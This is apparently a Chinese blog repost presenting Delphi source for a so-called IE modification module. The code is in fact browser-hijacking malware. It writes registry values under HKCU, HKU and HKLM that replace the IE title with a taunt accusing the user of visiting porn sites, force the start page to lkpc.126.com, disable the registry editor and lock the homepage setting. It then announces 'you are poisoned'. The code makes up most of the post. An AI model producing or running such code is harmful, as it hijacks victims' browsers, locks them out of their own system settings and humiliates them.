IE修改工具 不神秘--(废话)

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 blueoxygen 的 blog

其实修改的时候就是修改注册表的几个键值(bullshit)
看看这个delphi得源码,你就会知道怎么写一个windows优化大师中的ie部分的module了(模块出处http://lkpc.126.com
unit unit2;

interface

uses
  windows, messages, sysutils, classes, graphics, controls, forms, dialogs,
  stdctrls, buttons,registry;

type
  tform2 = class(tform)
    bitbtn1: tbitbtn;
    memo1: tmemo;
    procedure bitbtn1click(sender: tobject);
  private
    { private declarations }
  public
    { public declarations }
  end;

var
  form2: tform2;

implementation

{$r *.dfm}

procedure tform2.bitbtn1click(sender: tobject);
var
  reg: tregistry;
  s1,s2,s3,s4,s5,s6,reg1,reg2,reg3,reg4,reg5,reg6:string;
begin
  reg := tregistry.create;
  s1:='哈哈!你曾经浏览过色情网站,还不承认?这里就是证据!';
  s2:='http://lkpc.126.com';
  s3:='start page';
  s4:='window title';
  s5:='disableregistrytools';
  s6:='homepage';
  reg1:='\software\microsoft\internet explorer\main';
  reg3:='\software\microsoft\windows\currentversion\policies\system';
  reg4:='\software\policies\microsoft\internet explorer\control panel';
  reg2:='\.default\software\microsoft\internet explorer\main';
  reg5:='\.default\software\microsoft\windows\currentversion\policies\system';
  reg6:='\.default\software\policies\microsoft\internet explorer\control panel';
  try
//修改 hkey_current_user;
   reg.rootkey :=hkey_current_user;
   if reg.openkey(reg1,true) then;
   begin
   reg.writestring(s4,s1);//标题
   reg.writestring(s3,s2);//缺省主页
   end;
   if reg.openkey(reg3, true) then
   reg.writeinteger(s5,1);
   if reg.openkey(reg4,true) then
    reg.writeinteger(s6,1);//解锁主页
//修改hkey_users
   reg.rootkey :=hkey_users;
   if reg.openkey(reg2,true) then;
   begin
   reg.writestring(s4,s1);//标题
   reg.writestring(s3,s2);//缺省主页
   end;
   if reg.openkey(reg5, true) then
    reg.writeinteger(s5,1);
   if reg.openkey(reg6,true) then
    reg.writeinteger(s6,1);
//修改 hkey_local_machine
   reg.rootkey :=hkey_local_machine;
   if reg.openkey(reg1,true) then;
   begin
   reg.writestring(s4,s1);//标题
   reg.writestring(s3,s2);//缺省主页
   end;
   if reg.openkey(reg3, true) then
    reg.writeinteger(s5,1);
   if reg.openkey(reg4,true) then
    reg.writeinteger(s6,1);//解锁主页

     reg.closekey;
     messagedlg('你已经中毒了!关闭所有ie窗口再重新打开!看看有什么症状!', mtinformation, [mbok], 0);
  finally
    reg.free;
    inherited;
 end;
end;

end.

本文关键:IE修改工具 不神秘--(废话)
  相关方案
Google
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top